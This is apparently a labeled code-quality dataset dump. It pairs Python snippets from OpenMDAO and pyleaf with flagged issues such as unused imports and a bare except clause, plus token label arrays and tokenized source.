2,
3,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
3,
1,
2,
2,
2,
2,
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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
3,
1,
2,
2,
2,
2,
2,
2,
2,
3,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
3,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
3,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | OpenMDAO/OpenMDAO-Framework/openmdao.lib/src/openmdao/lib/datatypes/domain/__init__.py | [
{
"content": "\"\"\"\nThe `domain` package provides a data structure for representing multi-zone\nmeshes and their related data. The goal is to be able to represent all\nconcepts from CGNS, though not necessarily in the same way.\n\nIt also provides functions for obtaining flow values across a mesh surface\nand reading/writing in files various formats (currently just Plot3D).\n\"\"\"\n\nfrom domain import DomainObj\nfrom flow import FlowSolution\nfrom grid import GridCoordinates\nfrom vector import Vector\nfrom zone import Zone\n\nfrom metrics import get_metric, list_metrics\nfrom probe import mesh_probe\nfrom plot3d import read_plot3d_q, read_plot3d_f, read_plot3d_grid, \\\n write_plot3d_q, write_plot3d_f, write_plot3d_grid, \\\n read_plot3d_shape\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
}
]
| [
{
"span": "from domain import DomainObj",
"start_line": 9,
"start_column": 0,
"end_line": 9,
"end_column": 29
},
{
"span": "from flow import FlowSolution",
"start_line": 10,
"start_column": 0,
"end_line": 10,
"end_column": 32
},
{
"span": "from grid import GridCoordinates",
"start_line": 11,
"start_column": 0,
"end_line": 11,
"end_column": 35
},
{
"span": "from vector import Vector",
"start_line": 12,
"start_column": 0,
"end_line": 12,
"end_column": 26
},
{
"span": "from zone import Zone",
"start_line": 13,
"start_column": 0,
"end_line": 13,
"end_column": 24
},
{
"span": "from metrics import get_metric, list_metrics",
"start_line": 15,
"start_column": 0,
"end_line": 15,
"end_column": 44
},
{
"span": "from probe import mesh_probe",
"start_line": 16,
"start_column": 0,
"end_line": 16,
"end_column": 30
},
{
"span": "from plot3d import read_plot3d_q, read_plot3d_f, read_plot3d_grid, \\\n write_plot3d_q, write_plot3d_f, write_plot3d_grid, \\\n read_plot3d_shape",
"start_line": 17,
"start_column": 0,
"end_line": 19,
"end_column": 37
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\"\"\"",
"\\",
"10",
";",
"The",
" ",
"`",
"domain",
"`",
" ",
"package",
" ",
"provide",
"s",
" ",
"a",
" ",
"data",
" ",
"structure",
" ",
"for",
" ",
"represent",
"ing",
" ",
"multi",
"-",
"zone",
"\\",
"10",
";",
"mesh",
"es",
" ",
"and",
" ",
"thei",
"r",
" ",
"relate",
"d",
" ",
"data",
".",
" ",
"The",
" ",
"goal",
" ",
"is",
" ",
"to",
" ",
"be",
" ",
"able",
" ",
"to",
" ",
"represent",
" ",
"all",
"\\",
"10",
";",
"concepts",
" ",
"from",
" ",
"CG",
"NS",
",",
" ",
"tho",
"ugh",
" ",
"not",
" ",
"necessar",
"il",
"y",
" ",
"in",
" ",
"the",
" ",
"same",
" ",
"way",
".",
"\\",
"10",
";",
"\\",
"10",
";",
"It",
" ",
"als",
"o",
" ",
"provide",
"s",
" ",
"function",
"s",
" ",
"for",
" ",
"obtain",
"ing",
" ",
"flow",
" ",
"values",
" ",
"acro",
"ss",
" ",
"a",
" ",
"mesh",
" ",
"surf",
"ace",
"\\",
"10",
";",
"and",
" ",
"readi",
"ng",
"/",
"writ",
"ing",
" ",
"in",
" ",
"files",
" ",
"vari",
"ous",
" ",
"formats",
" ",
"(",
"currentl",
"y",
" ",
"just",
" ",
"Plot",
"3",
"D",
").",
"\\",
"10",
";\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"domain_",
"import_",
"Doma",
"in",
"Obj_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"flow_",
"import_",
"Flow",
"Solution_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"grid_",
"import_",
"Grid",
"Coordinates_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"vector_",
"import_",
"Vector_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zone_",
"import_",
"Zone_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"metrics_",
"import_",
"get",
"\\u",
"metric_",
",_",
"list",
"\\u",
"metrics_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"probe_",
"import_",
"mesh",
"\\u",
"probe_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"plot",
"3d_",
"import_",
"read",
"\\u",
"plot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
1,
1,
1,
1,
1
]
|
Except block handles 'BaseException' | franapoli/pyleaf/pyleaf/ptl.py | [
{
"content": " def publish(self, ofile, odir='', layout='LR'):\n \"\"\"Publish the protocol to a HTML file.\"\"\"\n import textwrap\n import os.path\n oname = ofile\n if odir == '':\n odir = 'html'\n if not os.path.exists(odir):\n os.mkdir(odir)\n fullname = os.path.join(odir, ofile)\n #ofile = os.path.join(self._metafolder, ofile)\n f=open(fullname+'.dot', 'w')\n f.write('digraph G {\\n'+\n 'graph [size=\"20, 20\"];\\n' +\n 'node [shape=box, style=rounded];'+\n 'rankdir='+\n ('TB' if layout.lower()=='tb' else 'LR')+\n ';\\n')\n for idx, node in enumerate(self._getGraph().getNodes()):\n f.write(str(node))\n docstr = inspect.getdoc(self._modules[node].getValue()) if type(self._modules[node].getValue())==type(inspect.getdoc) else None\n\n if self._isFileMod(node):\n shape = 'note'\n if self._isAvailable(node):\n content = self._getResource(node).getValue()\n if isinstance(content, tuple) or isinstance(content, list):\n output_line = '\\t\\t<td href=\"'+'(multiple)'+'\"><font POINT-SIZE=\"8\"><u>output</u></font></td>\\n'\n else:\n output_line = '\\t\\t<td href=\"'+content+'\"><font POINT-SIZE=\"8\"><u>output</u></font></td>\\n'\n else:\n output_line = '\\t\\t<td><font POINT-SIZE=\"8\"><u>not built</u></font></td>\\n' \n else:\n output_line='\\t\\t<td></td>\\n'\n shape = 'box'\n\n \n f.write('[shape = ' + shape + ', label = <<table border=\"0\">\\n'+\n '\\t<tr>\\n'+\n '\\t\\t<td colspan=\"2\"><B>' +\n self._getGraph().getAttrib(node, 'label') +\n '</B></td>\\n'+\n '\\t</tr>\\n'+\n '\\t<tr>\\n'+\n '\\t\\t<td colspan=\"2\" align = \"left\"><font POINT-SIZE=\"10\">'+\n ('-' if docstr == None else textwrap.fill(docstr, 30)).replace('\\n','<br/>') +\n '</font></td>\\n'+\n '\\t</tr>\\n' +\n '\\t<tr>\\n'+\n '\\t\\t<td href=\"#'+node+'_details\"><font POINT-SIZE=\"8\"><u>details</u></font></td>\\n'+\n output_line +\n '\\t</tr>\\n'+\n '</table>>]\\n')\n for node in self._getGraph().keys():\n for onode in self._getGraph()[node]:\n f.write(node + ' -> ' + onode + '\\n')\n f.write('}')\n f.close()\n t=os.system('dot -s160 -Tcmapx -o' +\n fullname + '.map -Tgif -o' + fullname + '.gif ' + fullname + '.dot')\n t=os.system('dot -Tpdf -o' + fullname + '.pdf ' + fullname + '.dot')\n\n if t!=0:\n raise NameError('Problems running dot: have you installed it?')\n\n\n\n\n\n html_header = \"\"\"\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<title>\"\"\" + oname + \"\"\"</title>\n<meta http-equiv=\"Content-Language\" content=\"English\" />\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n<link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\" media=\"screen\" />\n</head>\n<body>\n\n<div id=\"wrap\">\n<div id=\"top\"></div>\n<div id=\"content\">\n\n<div class=\"header\">\n<a href=\"index.html\"><img src=\"leaf.png\"></a>\n<br><br><br><br><br>\n</div>\t\n\n\"\"\"\n\n html_footer = \"\"\"\n</body>\n</html>\n\"\"\"\n\n\n f = open(fullname+'.html', 'w')\n f.write(html_header)\n f.write('<div class=\"breadcrumbs\"><h1>' + oname + '</h1></div><div class=\"middle\">')\n f.write('<h2>Project Summary</h2>')\n f.write('<div style=\"width: 90%\">')\n if len(self._doc)>0:\n f.write('<b>Description:</b> ' + self._doc + '<br>')\n f.write('<b>Number of Modules:</b> ' + str(len(self._getGraph())) + '<br>')\n f.write('<b>Number of Output modules:</b> ' + str(sum([self._isFileMod(node) for node in self._getGraph().getNodes()]))+'<br>')\n f.write('<b>Total CPU time required:</b> '+ self._readabletime(sum([self._resmap[x]._buildtime for x in self._resmap]))+'<br>')\n f.write('</div><br>')\n f.write('<h2>Protocol map</h2>')\n f.write('<div align = \"center\">')\n f.write('<IMG SRC=\"' + oname + '.gif\" USEMAP=\"#G\" />\\n')\n f.write('</div>')\n map = open(fullname + '.map').read()\n f.write(map)\n\n f.write('<h2>Modules'' details<h2>\\n')\n\n for idx, node in enumerate(self._getGraph().getNodes()):\n f.write('<h3><a name=\"'+str(node)+'_details\">'+str(node)+'</a></h3>\\n')\n docstr = inspect.getdoc(self._modules[node].getValue()) if type(self._modules[node].getValue())==type(inspect.getdoc) else None\n if docstr == None:\n f.write('[documentation not available]')\n else:\n f.write(docstr)\n \n if not self._resmap[node]._timestamp == None:\n tstamp = self._resmap[node]._timestamp\n btime = self._resmap[node]._buildtime\n else:\n tstamp = 'never'\n btime = 'uknknown'\n\n f.write('<br><br>Last build was on ' + tstamp + '.<br>')\n f.write('Time it took: ' + str(self._readabletime(btime)) + '.<br>')\n \n\n f.write('<div class=\"code\"><pre>')\n srccode = inspect.getsource(self._modules[node].getValue()) if type(self._modules[node].getValue())==type(inspect.getdoc) else None\n f.write(srccode.replace('\\n','<br>'))\n f.write('</pre></div>')\n f.write('<hr>')\n\n\n f.write('<div id=\"footer\">')\n f.write('<br><br><i>Automatically generated on ' + time.asctime() + ' using Leaf</i>')\n f.write('</div>')\n f.write(html_footer)\n f.close()\n\n try:\n ## copying external resources\n from pkg_resources import resource_filename\n stylef = resource_filename('pyleaf', 'resources/style.css')\n logof = resource_filename('pyleaf', 'resources/leaf.png')\n\n #stylef = os.path.join(sys.prefix, 'style.css')\n #logof = os.path.join(sys.prefix, 'leaf.png')\n\n import shutil\n shutil.copy(stylef, odir)\n shutil.copy(logof, odir)\n except:\n print('Couldn\\'t copy resource files. HTML file will miss style and logo.')",
"metadata": "root.protocol.publish",
"header": "['class', 'protocol', '(', ')', ':', '___EOS___']",
"index": 300
}
]
| [
{
"span": "except:",
"start_line": 461,
"start_column": 8,
"end_line": 461,
"end_column": 15
}
]
| []
| 1 | true | [
"[CLS]_",
"Except",
"_",
"block_",
"handles_",
"'",
"Base",
"Except",
"ion",
"'_",
"[SEP]_",
"class_",
"protocol_",
"(_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"publish_",
"(_",
"self_",
",_",
"ofile_",
",_",
"odi",
"r_",
"=_",
"''_",
",_",
"layout_",
"=_",
"'",
"LR",
"'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Publish",
" ",
"the",
" ",
"protoc",
"ol",
" ",
"to",
" ",
"a",
" ",
"HTM",
"L",
" ",
"file",
".\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"textwrap_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"os_",
"._",
"path_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ona",
"me_",
"=_",
"ofile_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"odi",
"r_",
"==_",
"''_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"odi",
"r_",
"=_",
"'",
"html",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"not_",
"os_",
"._",
"path_",
"._",
"exists_",
"(_",
"odi",
"r_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"os_",
"._",
"mkdir_",
"(_",
"odi",
"r_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"fullname_",
"=_",
"os_",
"._",
"path_",
"._",
"join_",
"(_",
"odi",
"r_",
",_",
"ofile_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"ofi",
"le",
" ",
"=",
" ",
"os",
".",
"path",
".",
"join",
"(",
"self",
".\\u",
"metaf",
"older",
",",
" ",
"ofi",
"le",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"f_",
"=_",
"open_",
"(_",
"fullname_",
"+_",
"'.",
"dot",
"'_",
",_",
"'",
"w",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'",
"digraph",
" ",
"G",
" ",
"{\\\\",
"n",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"graph",
" ",
"[",
"size",
"=\"",
"20",
",",
" ",
"20",
"\"]",
";\\\\",
"n",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"node",
" ",
"[",
"shape",
"=",
"box",
",",
" ",
"style",
"=",
"rounded",
"];",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"rank",
"dir",
"='_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"TB",
"'_",
"if_",
"layout_",
"._",
"lower_",
"(_",
")_",
"==_",
"'",
"tb",
"'_",
"else_",
"'",
"LR",
"'_",
")_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"';",
"\\\\",
"n",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"idx_",
",_",
"node_",
"in_",
"enumerate_",
"(_",
"self_",
"._",
"\\u",
"get",
"Graph_",
"(_",
")_",
"._",
"get",
"Nodes_",
"(_",
")_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"f_",
"._",
"write_",
"(_",
"str_",
"(_",
"node_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"docstr",
"_",
"=_",
"inspect_",
"._",
"getd",
"oc_",
"(_",
"self_",
"._",
"\\u",
"modules_",
"[_",
"node_",
"]_",
"._",
"get",
"Value_",
"(_",
")_",
")_",
"if_",
"type_",
"(_",
"self_",
"._",
"\\u",
"modules_",
"[_",
"node_",
"]_",
"._",
"get",
"Value_",
"(_",
")_",
")_",
"==_",
"type_",
"(_",
"inspect_",
"._",
"getd",
"oc_",
")_",
"else_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"self_",
"._",
"\\u",
"is",
"File",
"Mod_",
"(_",
"node_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"shape_",
"=_",
"'",
"note",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"self_",
"._",
"\\u",
"is",
"Available_",
"(_",
"node_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"content_",
"=_",
"self_",
"._",
"\\u",
"get",
"Resource_",
"(_",
"node_",
")_",
"._",
"get",
"Value_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"isinstance_",
"(_",
"content_",
",_",
"tuple_",
")_",
"or_",
"isinstance_",
"(_",
"content_",
",_",
"list_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"output",
"\\u",
"line_",
"=_",
"'\\\\",
"t",
"\\\\",
"t",
"<",
"td",
" ",
"href",
"=\"'_",
"+_",
"'(",
"multiple",
")'_",
"+_",
"'\">",
"<",
"font",
" ",
"POINT",
"-",
"SIZE",
"=\"",
"8",
"\">",
"<",
"u",
">",
"output",
"</",
"u",
"><",
"/",
"font",
"><",
"/",
"td",
">\\\\",
"n",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"output",
"\\u",
"line_",
"=_",
"'\\\\",
"t",
"\\\\",
"t",
"<",
"td",
" ",
"href",
"=\"'_",
"+_",
"content_",
"+_",
"'\">",
"<",
"font",
" ",
"POINT",
"-",
"SIZE",
"=\"",
"8",
"\">",
"<",
"u",
">",
"output",
"</",
"u",
"><",
"/",
"font",
"><",
"/",
"td",
">\\\\",
"n",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"output",
"\\u",
"line_",
"=_",
"'\\\\",
"t",
"\\\\",
"t",
"<",
"td",
"><",
"font",
" ",
"POINT",
"-",
"SIZE",
"=\"",
"8",
"\">",
"<",
"u",
">",
"not",
" ",
"bui",
"lt",
"</",
"u",
"><",
"/",
"font",
"><",
"/",
"td",
">\\\\",
"n",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"output",
"\\u",
"line_",
"=_",
"'\\\\",
"t",
"\\\\",
"t",
"<",
"td",
"><",
"/",
"td",
">\\\\",
"n",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"shape_",
"=_",
"'",
"box",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'[",
"shape",
" ",
"=",
" ",
"'_",
"+_",
"shape_",
"+_",
"',",
" ",
"label",
" ",
"=",
" ",
"<<",
"table",
" ",
"border",
"=\"",
"0",
"\">",
"\\\\",
"n",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'\\\\",
"t",
"<",
"tr",
">\\\\",
"n",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'\\\\",
"t",
"\\\\",
"t",
"<",
"td",
" ",
"colsp",
"an",
"=\"",
"2",
"\">",
"<",
"B",
">'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"\\u",
"get",
"Graph_",
"(_",
")_",
"._",
"get",
"Attrib",
"_",
"(_",
"node_",
",_",
"'",
"label",
"'_",
")_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'<",
"/",
"B",
"><",
"/",
"td",
">\\\\",
"n",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'\\\\",
"t",
"</",
"tr",
">\\\\",
"n",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'\\\\",
"t",
"<",
"tr",
">\\\\",
"n",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'\\\\",
"t",
"\\\\",
"t",
"<",
"td",
" ",
"colsp",
"an",
"=\"",
"2",
"\"",
" ",
"align",
" ",
"=",
" ",
"\"",
"left",
"\">",
"<",
"font",
" ",
"POINT",
"-",
"SIZE",
"=\"",
"10",
"\">'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'-'_",
"if_",
"docstr",
"_",
"==_",
"None_",
"else_",
"textwrap_",
"._",
"fill_",
"(_",
"docstr",
"_",
",_",
"30_",
")_",
")_",
"._",
"replace_",
"(_",
"'\\\\",
"n",
"'_",
",_",
"'<",
"br",
"/>'_",
")_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'<",
"/",
"font",
"><",
"/",
"td",
">\\\\",
"n",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'\\\\",
"t",
"</",
"tr",
">\\\\",
"n",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'\\\\",
"t",
"<",
"tr",
">\\\\",
"n",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'\\\\",
"t",
"\\\\",
"t",
"<",
"td",
" ",
"href",
"=\"",
"#'_",
"+_",
"node_",
"+_",
"'\\u",
"deta",
"il",
"s",
"\">",
"<",
"font",
" ",
"POINT",
"-",
"SIZE",
"=\"",
"8",
"\">",
"<",
"u",
">",
"deta",
"il",
"s",
"</",
"u",
"><",
"/",
"font",
"><",
"/",
"td",
">\\\\",
"n",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"output",
"\\u",
"line_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'\\\\",
"t",
"</",
"tr",
">\\\\",
"n",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"'<",
"/",
"table",
">>",
"]\\\\",
"n",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"node_",
"in_",
"self_",
"._",
"\\u",
"get",
"Graph_",
"(_",
")_",
"._",
"keys_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"ono",
"de_",
"in_",
"self_",
"._",
"\\u",
"get",
"Graph_",
"(_",
")_",
"[_",
"node_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"f_",
"._",
"write_",
"(_",
"node_",
"+_",
"'",
" ",
"->",
" ",
"'_",
"+_",
"ono",
"de_",
"+_",
"'\\\\",
"n",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'}'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"close_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"t_",
"=_",
"os_",
"._",
"system_",
"(_",
"'",
"dot",
" ",
"-",
"s1",
"60",
" ",
"-",
"Tc",
"map",
"x",
" ",
"-",
"o",
"'_",
"+_",
"\\u\\u\\uNL\\u\\u\\u_",
"fullname_",
"+_",
"'.",
"map",
" ",
"-",
"Tg",
"if",
" ",
"-",
"o",
"'_",
"+_",
"fullname_",
"+_",
"'.",
"gif",
" ",
"'_",
"+_",
"fullname_",
"+_",
"'.",
"dot",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"t_",
"=_",
"os_",
"._",
"system_",
"(_",
"'",
"dot",
" ",
"-",
"Tp",
"df",
" ",
"-",
"o",
"'_",
"+_",
"fullname_",
"+_",
"'.",
"pdf",
" ",
"'_",
"+_",
"fullname_",
"+_",
"'.",
"dot",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"t_",
"!=_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Name",
"Error_",
"(_",
"'",
"Problems",
" ",
"runn",
"ing",
" ",
"dot",
":",
" ",
"have",
" ",
"you",
" ",
"install",
"ed",
" ",
"it",
"?'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"html",
"\\u",
"header_",
"=_",
"\"\"\"",
"\\",
"10",
";<",
"!",
"DOC",
"TYPE",
" ",
"html",
" ",
"PUBLIC",
" ",
"\"-",
"//",
"W3",
"C",
"//",
"DT",
"D",
" ",
"XH",
"TML",
" ",
"1.0",
" ",
"Stri",
"ct",
"//",
"EN",
"\"",
" ",
"\"",
"http",
"://",
"www",
".",
"w3",
".",
"org",
"/",
"TR",
"/",
"xh",
"tml",
"1",
"/",
"DT",
"D",
"/",
"xh",
"tml",
"1",
"-",
"strict",
".",
"dtd",
"\">",
"\\",
"10",
";<",
"html",
" ",
"xml",
"ns",
"=\"",
"http",
"://",
"www",
".",
"w3",
".",
"org",
"/",
"1999",
"/",
"xh",
"tml",
"\">",
"\\",
"10",
";<",
"head",
">",
"\\",
"10",
";<",
"title",
">\"\"\"_",
"+_",
"ona",
"me_",
"+_",
"\"\"\"",
"</",
"title",
">",
"\\",
"10",
";<",
"meta",
" ",
"http",
"-",
"equiv",
"=\"",
"Conten",
"t",
"-",
"Lang",
"ua",
"ge",
"\"",
" ",
"content",
"=\"",
"Eng",
"lish",
"\"",
" ",
"/>",
"\\",
"10",
";<",
"meta",
" ",
"http",
"-",
"equiv",
"=\"",
"Conten",
"t",
"-",
"Type",
"\"",
" ",
"content",
"=\"",
"text",
"/",
"html",
";",
" ",
"charset",
"=",
"UT",
"F",
"-",
"8",
"\"",
" ",
"/>",
"\\",
"10",
";<",
"link",
" ",
"rel",
"=\"",
"stylesheet",
"\"",
" ",
"type",
"=\"",
"text",
"/",
"css",
"\"",
" ",
"href",
"=\"",
"style",
".",
"css",
"\"",
" ",
"media",
"=\"",
"screen",
"\"",
" ",
"/>",
"\\",
"10",
";<",
"/",
"head",
">",
"\\",
"10",
";<",
"body",
">",
"\\",
"10",
";",
"\\",
"10",
";<",
"div",
" ",
"id",
"=\"",
"wrap",
"\">",
"\\",
"10",
";<",
"div",
" ",
"id",
"=\"",
"top",
"\">",
"</",
"div",
">",
"\\",
"10",
";<",
"div",
" ",
"id",
"=\"",
"content",
"\">",
"\\",
"10",
";",
"\\",
"10",
";<",
"div",
" ",
"class",
"=\"",
"header",
"\">",
"\\",
"10",
";<",
"a",
" ",
"href",
"=\"",
"index",
".",
"html",
"\">",
"<",
"img",
" ",
"src",
"=\"",
"leaf",
".",
"png",
"\">",
"</",
"a",
">",
"\\",
"10",
";<",
"br",
"><",
"br",
"><",
"br",
"><",
"br",
"><",
"br",
">",
"\\",
"10",
";<",
"/",
"div",
">",
"\t",
"\\",
"10",
";",
"\\",
"10",
";\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"html",
"\\u",
"footer_",
"=_",
"\"\"\"",
"\\",
"10",
";<",
"/",
"body",
">",
"\\",
"10",
";<",
"/",
"html",
">",
"\\",
"10",
";\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"f_",
"=_",
"open_",
"(_",
"fullname_",
"+_",
"'.",
"html",
"'_",
",_",
"'",
"w",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"html",
"\\u",
"header_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"._",
"write_",
"(_",
"'<",
"div",
" ",
"class",
"=\"",
"breadcrumb",
"s",
"\">",
"<",
"h1",
">'_",
"+_",
"ona",
"me_",
